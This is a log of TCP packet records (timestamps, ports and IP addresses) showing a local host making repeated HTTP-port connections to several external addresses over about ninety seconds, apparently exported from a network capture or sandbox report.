Sep 11, 2024 11:18:29.321966887 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322052956 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322088003 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322119951 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.322185040 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322218895 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322259903 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.322294950 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322326899 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322350025 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.322401047 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322433949 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322457075 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.322508097 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.322554111 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.327617884 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.327642918 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.327661991 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.327680111 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.327712059 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.327897072 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.409023046 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409039021 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409050941 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409060955 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409071922 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409082890 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409095049 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409105062 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409116030 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409126997 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409337044 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.409337044 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.409928083 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.409970999 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.410008907 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.410044909 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.410093069 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.410394907 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.410427094 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.410537004 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:29.411493063 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.415642023 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:29.420653105 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:35.195337057 CEST	63333	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:35.200243950 CEST	80	63333	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:35.200308084 CEST	63333	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:35.220805883 CEST	63333	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:35.225575924 CEST	80	63333	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:36.080634117 CEST	80	63333	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:36.080869913 CEST	80	63333	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:36.081007004 CEST	63333	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:36.731383085 CEST	63333	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:37.749614000 CEST	63334	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:37.754650116 CEST	80	63334	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:37.754781961 CEST	63334	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:37.765835047 CEST	63334	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:37.770768881 CEST	80	63334	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:38.649354935 CEST	80	63334	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:38.649413109 CEST	80	63334	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:38.649480104 CEST	63334	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:39.278251886 CEST	63334	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:40.299506903 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:40.304550886 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.309700012 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:40.318083048 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:40.343519926 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:40.541412115 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.542474031 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.542608976 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.542845011 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.542932034 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.542982101 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.543036938 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.543065071 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.543098927 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:40.543128014 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:41.205226898 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:41.246866941 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:41.432682991 CEST	80	63335	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:41.435628891 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:41.825227976 CEST	63335	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:42.844113111 CEST	63336	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:42.849703074 CEST	80	63336	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:42.850100994 CEST	63336	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:42.857403994 CEST	63336	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:42.862719059 CEST	80	63336	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:43.805891991 CEST	80	63336	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:43.805990934 CEST	80	63336	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:43.806004047 CEST	80	63336	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:43.806174040 CEST	63336	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:43.808532000 CEST	63336	80	192.168.2.4	147.92.40.175
Sep 11, 2024 11:18:43.813530922 CEST	80	63336	147.92.40.175	192.168.2.4
Sep 11, 2024 11:18:48.833849907 CEST	63337	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:48.838921070 CEST	80	63337	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:48.838988066 CEST	63337	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:48.849874020 CEST	63337	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:48.855218887 CEST	80	63337	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:49.314177990 CEST	80	63337	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:49.314259052 CEST	63337	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:50.356323004 CEST	63337	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:50.361268997 CEST	80	63337	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:51.374890089 CEST	63338	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:51.381279945 CEST	80	63338	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:51.381354094 CEST	63338	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:51.389895916 CEST	63338	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:51.396301031 CEST	80	63338	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:51.856936932 CEST	80	63338	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:51.857059956 CEST	63338	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:52.903409958 CEST	63338	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:52.908235073 CEST	80	63338	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.921533108 CEST	63339	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:53.926501989 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.926601887 CEST	63339	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:53.935519934 CEST	63339	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:53.940459013 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940469027 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940511942 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940522909 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940583944 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940596104 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940632105 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940642118 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:53.940651894 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:54.378367901 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:54.378505945 CEST	63339	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:55.450050116 CEST	63339	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:55.454968929 CEST	80	63339	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:56.468858957 CEST	63340	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:56.473845959 CEST	80	63340	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:56.473989964 CEST	63340	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:56.482244968 CEST	63340	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:56.487191916 CEST	80	63340	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:56.954099894 CEST	80	63340	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:56.954148054 CEST	80	63340	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:56.954241991 CEST	63340	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:56.957153082 CEST	63340	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:56.965621948 CEST	80	63340	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:01.989552021 CEST	63341	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:01.994424105 CEST	80	63341	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:01.994724989 CEST	63341	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:02.006359100 CEST	63341	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:02.011262894 CEST	80	63341	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:02.451505899 CEST	80	63341	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:02.451570988 CEST	63341	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:03.512702942 CEST	63341	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:03.517858028 CEST	80	63341	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:04.549612999 CEST	63342	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:04.554505110 CEST	80	63342	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:04.554577112 CEST	63342	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:04.567523956 CEST	63342	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:04.572508097 CEST	80	63342	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:05.017091990 CEST	80	63342	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:05.018537998 CEST	63342	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:06.075057983 CEST	63342	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:06.080070019 CEST	80	63342	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.094856977 CEST	63343	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:07.099747896 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.099818945 CEST	63343	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:07.115612030 CEST	63343	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:07.120528936 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120544910 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120559931 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120589018 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120601892 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120614052 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120629072 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120759010 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.120771885 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.558631897 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:07.563352108 CEST	63343	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:08.622057915 CEST	63343	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:08.626955986 CEST	80	63343	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:09.642535925 CEST	63344	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:09.647857904 CEST	80	63344	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:09.650141954 CEST	63344	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:09.657597065 CEST	63344	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:09.668180943 CEST	80	63344	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:10.107368946 CEST	80	63344	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:10.107448101 CEST	80	63344	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:10.107614040 CEST	63344	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:10.110318899 CEST	63344	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:10.115205050 CEST	80	63344	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:15.158047915 CEST	63345	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:15.162954092 CEST	80	63345	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:15.163022995 CEST	63345	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:15.172907114 CEST	63345	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:15.177963018 CEST	80	63345	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:15.620940924 CEST	80	63345	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:15.625648975 CEST	63345	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:16.684535980 CEST	63345	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:16.689464092 CEST	80	63345	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:17.703748941 CEST	63346	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:17.708786011 CEST	80	63346	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:17.711657047 CEST	63346	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:17.723570108 CEST	63346	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:17.728487968 CEST	80	63346	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:18.187302113 CEST	80	63346	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:18.187778950 CEST	63346	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:19.231492996 CEST	63346	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:19.236449957 CEST	80	63346	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.251570940 CEST	63347	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:20.257256985 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.262643099 CEST	63347	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:20.268410921 CEST	63347	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:20.273641109 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273653984 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273667097 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273679972 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273693085 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273705006 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273718119 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273730993 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.273744106 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.725886106 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:20.725939035 CEST	63347	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:21.778806925 CEST	63347	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:21.783906937 CEST	80	63347	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:22.800738096 CEST	63348	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:22.805958986 CEST	80	63348	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:22.806035042 CEST	63348	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:22.816143036 CEST	63348	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:22.821871042 CEST	80	63348	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:23.490638018 CEST	80	63348	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:23.490678072 CEST	80	63348	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:23.490830898 CEST	80	63348	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:23.495579958 CEST	63348	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:23.495579958 CEST	63348	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:19:23.501063108 CEST	80	63348	3.33.130.190	192.168.2.4
Sep 11, 2024 11:19:28.721581936 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:28.728296041 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:28.728358030 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:28.740500927 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:28.745517015 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:29.857608080 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:29.857626915 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:29.857639074 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:29.857651949 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:29.857743979 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:29.857779026 CEST	80	63349	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:29.857955933 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:29.859771013 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:30.247617006 CEST	63349	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:31.271599054 CEST	63350	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:31.276499987 CEST	80	63350	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:31.276580095 CEST	63350	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:31.292432070 CEST	63350	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:31.297497988 CEST	80	63350	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:31.999973059 CEST	80	63350	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:32.000555038 CEST	80	63350	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:32.000569105 CEST	80	63350	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:32.000619888 CEST	63350	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:32.001722097 CEST	63350	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:32.793894053 CEST	63350	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:33.812474966 CEST	63351	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:33.817985058 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.822303057 CEST	63351	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:33.837366104 CEST	63351	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:33.842283010 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842355013 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842370033 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842382908 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842447042 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842534065 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842546940 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842559099 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:33.842573881 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:34.680179119 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:34.680330038 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:34.680404902 CEST	63351	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:34.680663109 CEST	80	63351	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:34.680721045 CEST	63351	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:35.340889931 CEST	63351	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:36.358936071 CEST	63352	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:36.368130922 CEST	80	63352	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:36.371682882 CEST	63352	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:36.377923965 CEST	63352	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:36.385498047 CEST	80	63352	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:37.159225941 CEST	80	63352	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:37.159240007 CEST	80	63352	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:37.159251928 CEST	80	63352	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:37.159360886 CEST	63352	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:37.162448883 CEST	63352	80	192.168.2.4	85.153.138.113
Sep 11, 2024 11:19:37.170542955 CEST	80	63352	85.153.138.113	192.168.2.4
Sep 11, 2024 11:19:42.308295012 CEST	63353	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:42.313394070 CEST	80	63353	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:42.314088106 CEST	63353	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:42.325709105 CEST	63353	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:42.332947969 CEST	80	63353	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:43.317822933 CEST	80	63353	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:43.318542004 CEST	80	63353	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:43.318591118 CEST	63353	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:43.825623035 CEST	63353	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:44.844741106 CEST	63354	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:44.849625111 CEST	80	63354	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:44.849690914 CEST	63354	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:44.862307072 CEST	63354	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:44.867193937 CEST	80	63354	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:45.850116968 CEST	80	63354	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:45.850399971 CEST	80	63354	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:45.853996992 CEST	63354	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:46.375442982 CEST	63354	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:47.390487909 CEST	63355	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:47.395417929 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.395486116 CEST	63355	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:47.407268047 CEST	63355	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:47.412132025 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412370920 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412385941 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412447929 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412461042 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412466049 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412607908 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412630081 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:47.412643909 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:48.377228975 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:48.378093004 CEST	80	63355	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:48.378230095 CEST	63355	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:48.918927908 CEST	63355	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:49.941896915 CEST	63356	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:49.946899891 CEST	80	63356	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:49.947125912 CEST	63356	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:49.953535080 CEST	63356	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:49.958538055 CEST	80	63356	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:50.920229912 CEST	80	63356	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:50.920298100 CEST	80	63356	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:50.920420885 CEST	63356	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:50.922954082 CEST	63356	80	192.168.2.4	104.21.11.31
Sep 11, 2024 11:19:50.927655935 CEST	80	63356	104.21.11.31	192.168.2.4
Sep 11, 2024 11:19:55.965629101 CEST	63357	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:55.976468086 CEST	80	63357	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:55.976743937 CEST	63357	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:55.986718893 CEST	63357	80	192.168.2.4	188.114.97.3
